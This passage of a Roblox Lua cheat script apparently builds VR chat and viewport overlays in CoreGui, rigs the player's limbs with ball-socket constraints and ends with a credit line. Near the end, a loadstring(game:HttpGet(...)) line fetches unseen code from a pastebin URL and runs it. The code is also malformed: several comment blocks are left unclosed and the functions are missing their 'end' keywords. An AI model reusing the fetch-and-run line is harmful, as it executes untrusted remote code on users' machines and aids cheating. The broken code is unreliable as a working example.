 game.Players.LocalPlayer.Character=ch

 

ChatHUDFunc = function()

 --[[

 

 local UserInputService = game:GetService("UserInputService")

 local RunService = game:GetService("RunService")

 

 local VRService = game:GetService("VRService")

  local VRReady = VRService.VREnabled

 

 local Players = game:GetService("Players")

  local Client = Players.LocalPlayer

 

 local ChatHUD = game:GetObjects("rbxassetid://4476067885")[1]

  local GlobalFrame = ChatHUD.GlobalFrame

   local Template = GlobalFrame.Template

  local LocalFrame = ChatHUD.LocalFrame

  local Global = ChatHUD.Global

  local Local = ChatHUD.Local

 

 local Camera = workspace.CurrentCamera

 

 Template.Parent = nil

 ChatHUD.Parent = game:GetService("CoreGui")

 

 --[[

 

 local Highlight = Global.Frame.BackgroundColor3

 local Deselected = Local.Frame.BackgroundColor3

 

 local OpenGlobalTab = function()

  Global.Frame.BackgroundColor3 = Highlight

  Local.Frame.BackgroundColor3 = Deselected

 

  Global.Font = Enum.Font.SourceSansBold

  Local.Font = Enum.Font.SourceSans

 

  GlobalFrame.Visible = true

  LocalFrame.Visible = false

 end

 

 local OpenLocalTab = function()

  Global.Frame.BackgroundColor3 = Deselected

  Local.Frame.BackgroundColor3 = Highlight

 

  Global.Font = Enum.Font.SourceSans

  Local.Font = Enum.Font.SourceSansBold

 

  GlobalFrame.Visible = false

  LocalFrame.Visible = true

 end

 

 Global.MouseButton1Down:Connect(OpenGlobalTab)

 Local.MouseButton1Down:Connect(OpenLocalTab)

 Global.MouseButton1Click:Connect(OpenGlobalTab)

 Local.MouseButton1Click:Connect(OpenLocalTab)

 

 OpenLocalTab()

 

 --

 

 local function GetPlayerDistance(Sender)

  if Sender.Character and Sender.Character:FindFirstChild("Head") then

   return math.floor((Sender.Character.Head.Position - Camera:GetRenderCFrame().p).Magnitude + 0.5)

  end

 end

 

 local function NewGlobal(Message, Sender, Color)

  local Frame = Template:Clone()

 

  Frame.Text = ("[%s]: %s"):format(Sender.Name, Message)

  Frame.User.Text = ("[%s]:"):format(Sender.Name)

  Frame.User.TextColor3 = Color

  Frame.BackgroundColor3 = Color

  Frame.Parent = GlobalFrame

 

  delay(60, function()

   Frame:Destroy()

  end)

 end

 

 local function NewLocal(Message, Sender, Color, Dist)

  local Frame = Template:Clone()

 

  Frame.Text = ("(%s) [%s]: %s"):format(tostring(Dist), Sender.Name, Message)

  Frame.User.Text = ("(%s) [%s]:"):format(tostring(Dist), Sender.Name)

  Frame.User.TextColor3 = Color

  Frame.BackgroundColor3 = Color

  Frame.Parent = LocalFrame

 

  delay(60, function()

   Frame:Destroy()

  end)

 end

 

 local function OnNewChat(Message, Sender, Color)

  if not ChatHUD or not ChatHUD.Parent then return end

 

  NewGlobal(Message, Sender, Color)

 

  local Distance = GetPlayerDistance(Sender)

 

  if Distance and Distance <= ChatLocalRange then

   NewLocal(Message, Sender, Color, Distance)

  end

 end

 

 local function OnPlayerAdded(Player)

  if not ChatHUD or not ChatHUD.Parent then return end

 

  local Color = BrickColor.Random().Color

 

  Player.Chatted:Connect(function(Message)

   OnNewChat(Message, Player, Color)

  end)

 end

 

 Players.PlayerAdded:Connect(OnPlayerAdded)

 

 for _, Player in pairs(Players:GetPlayers()) do

  OnPlayerAdded(Player)

 end

 

 --

 

 local ChatPart = ChatHUD.Part

 

 ChatHUD.Adornee = ChatPart

 

 if VRReady then

  ChatHUD.Parent = game:GetService("CoreGui")

  ChatHUD.Enabled = true

  ChatHUD.AlwaysOnTop = true

 

  local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)

   if not Processed then

    if Input.KeyCode == Enum.KeyCode.ButtonX then

     ChatHUD.Enabled = not ChatHUD.Enabled

    end

   end

  end)

 

  local RenderStepped = RunService.RenderStepped:Connect(function()

   local LeftHand = VRService:GetUserCFrame(Enum.UserCFrame.LeftHand)

   

   ChatPart.CFrame = Camera.CFrame * LeftHand

  end)

 

  local CharacterAdded

 

  CharacterAdded = Client.CharacterAdded:Connect(function()

   OnInput:Disconnect()

   RenderStepped:Disconnect()

   CharacterAdded:Disconnect()

   

   ChatHUD:Destroy()

   ChatHUD = nil

  end)

 end

 

 wait(9e9)

 

ViewHUDFunc = function()

 --[[

 

 local ViewportRange = ViewportRange or 32

 

 local UserInputService = game:GetService("UserInputService")

 local RunService = game:GetService("RunService")

 

 local VRService = game:GetService("VRService")

  local VRReady = VRService.VREnabled

 

 local Players = game:GetService("Players")

  local Client = Players.LocalPlayer

   local Mouse = Client:GetMouse()

 

 local Camera = workspace.CurrentCamera

  local CameraPort = Camera.CFrame

 

 local ViewHUD = script:FindFirstChild("ViewHUD") or game:GetObjects("rbxassetid://4480405425")[1]

  local Viewport = ViewHUD.Viewport

   local Viewcam = Instance.new("Camera")

  local ViewPart = ViewHUD.Part

 

 ViewHUD.Parent = game:GetService("CoreGui")

 

 Viewcam.Parent = Viewport

 Viewcam.CameraType = Enum.CameraType.Scriptable

 Viewport.CurrentCamera = Viewcam

 Viewport.BackgroundTransparency = 1

 

 --[[

 

 local function Clone(Character)

  local Arc = Character.Archivable

  local Clone;

 

  Character.Archivable = true

  Clone = Character:Clone()

  Character.Archivable = Arc

 

  return Clone

 end

 

 local function GetPart(Name, Parent, Descendants)

  for i = 1, #Descendants do

   local Part = Descendants[i]

   

   if Part.Name == Name and Part.Parent.Name == Parent then

    return Part

   end

  end

 end

 

 local function OnPlayerAdded(Player)

  if not ViewHUD or not ViewHUD.Parent then return end

 

  local function CharacterAdded(Character)

   if not ViewHUD or not ViewHUD.Parent then return end

   

   Character:WaitForChild("Head")

   Character:WaitForChild("Humanoid")

   

   wait(3)

   

   local FakeChar = Clone(Character)

   local Root = FakeChar:FindFirstChild("HumanoidRootPart") or FakeChar:FindFirstChild("Head")

   local RenderConnection;

   

   local Descendants = FakeChar:GetDescendants()

   local RealDescendants = Character:GetDescendants()

   local Correspondents = {};

   

   FakeChar.Humanoid.DisplayDistanceType = "None"

   

   for i = 1, #Descendants do

    local Part = Descendants[i]

    local Real = Part:IsA("BasePart") and GetPart(Part.Name, Part.Parent.Name, RealDescendants)

   

    if Part:IsA("BasePart") and Real then

     Part.Anchored = true

     Part:BreakJoints()

     

     if Part.Parent:IsA("Accessory") then

      Part.Transparency = 0

     end

     

     table.insert(Correspondents, {Part, Real})

    end

   end

   

   RenderConnection = RunService.RenderStepped:Connect(function()

    if not Character or not Character.Parent then

     RenderConnection:Disconnect()

     FakeChar:Destroy()

     

     return

    end

   

    if (Root and (Root.Position - Camera.CFrame.p).Magnitude <= ViewportRange) or Player == Client or not Root then

     for i = 1, #Correspondents do

      local Part, Real = unpack(Correspondents[i])

     

      if Part and Real and Part.Parent and Real.Parent then

       Part.CFrame = Real.CFrame

      elseif Part.Parent and not Real.Parent then

       Part:Destroy()

      end

     end

    end

   end)

   

   FakeChar.Parent = Viewcam

  end

 

  Player.CharacterAdded:Connect(CharacterAdded)

 

  if Player.Character then

   spawn(function()

    CharacterAdded(Player.Character)

   end)

  end

 end

 

 local PlayerAdded = Players.PlayerAdded:Connect(OnPlayerAdded)

 

 for _, Player in pairs(Players:GetPlayers()) do

  OnPlayerAdded(Player)

 end

 

 ViewPart.Size = Vector3.new()

 

 if VRReady then

  Viewport.Position = UDim2.new(.62, 0, .89, 0)

  Viewport.Size = UDim2.new(.3, 0, .3, 0)

  Viewport.AnchorPoint = Vector2.new(.5, 1)

 else

  Viewport.Size = UDim2.new(0.3, 0, 0.3, 0)

 end

 

 local RenderStepped = RunService.RenderStepped:Connect(function()

  local Render = Camera.CFrame

  local Scale = Camera.ViewportSize

 

  if VRReady then

   Render = Render * VRService:GetUserCFrame(Enum.UserCFrame.Head)

  end

 

  CameraPort = CFrame.new(Render.p + Vector3.new(5, 2, 0), Render.p)

 

  Viewport.Camera.CFrame = CameraPort

 

  ViewPart.CFrame = Render * CFrame.new(0, 0, -16)

 

  ViewHUD.Size = UDim2.new(0, Scale.X - 6, 0, Scale.Y - 6)

 end)

 

 --

 

 local CharacterAdded

 

 CharacterAdded = Client.CharacterAdded:Connect(function()

  RenderStepped:Disconnect()

  CharacterAdded:Disconnect()

  PlayerAdded:Disconnect()

 

  ViewHUD:Destroy()

  ViewHUD = nil

 end)

 

 wait(9e9)

 

Script()

 

wait(2)

 

local Players = game:GetService("Players")

local lp = Players.LocalPlayer

local character = lp.Character

local A0LL = Instance.new("Attachment", character["Left Leg"])

A0LL.Position = Vector3.new(0, 1, 0)

local A1LL = Instance.new("Attachment", character["Torso"])

A1LL.Position = Vector3.new(-0.5, -1, 0)

local socket1 = Instance.new("BallSocketConstraint", character["Left Leg"])

socket1.Attachment0 = A0LL

socket1.Attachment1 = A1LL

local A0RL = Instance.new("Attachment", character["Right Leg"])

A0RL.Position = Vector3.new(0, 1, 0)

local A1RL = Instance.new("Attachment", character["Torso"])

A1RL.Position = Vector3.new(0.5, -1, 0)

local socket2 = Instance.new("BallSocketConstraint", character["Right Leg"])

socket2.Attachment0 = A0RL

socket2.Attachment1 = A1RL

local A0H = Instance.new("Attachment", character["Head"])

A0H.Position = Vector3.new(0, -0.5, 0)

local A1H = Instance.new("Attachment", character["Torso"])

A1H.Position = Vector3.new(0, 1, 0)

local socket5 = Instance.new("BallSocketConstraint", character["Head"])

socket5.Attachment0 = A0H

socket5.Attachment1 = A1H

loadstring(game:HttpGet("https://pastebin.com/raw/Byd1PdHn",true))()

wait(9e9)

warn("Enjoy to use fixed by lolkek352443!")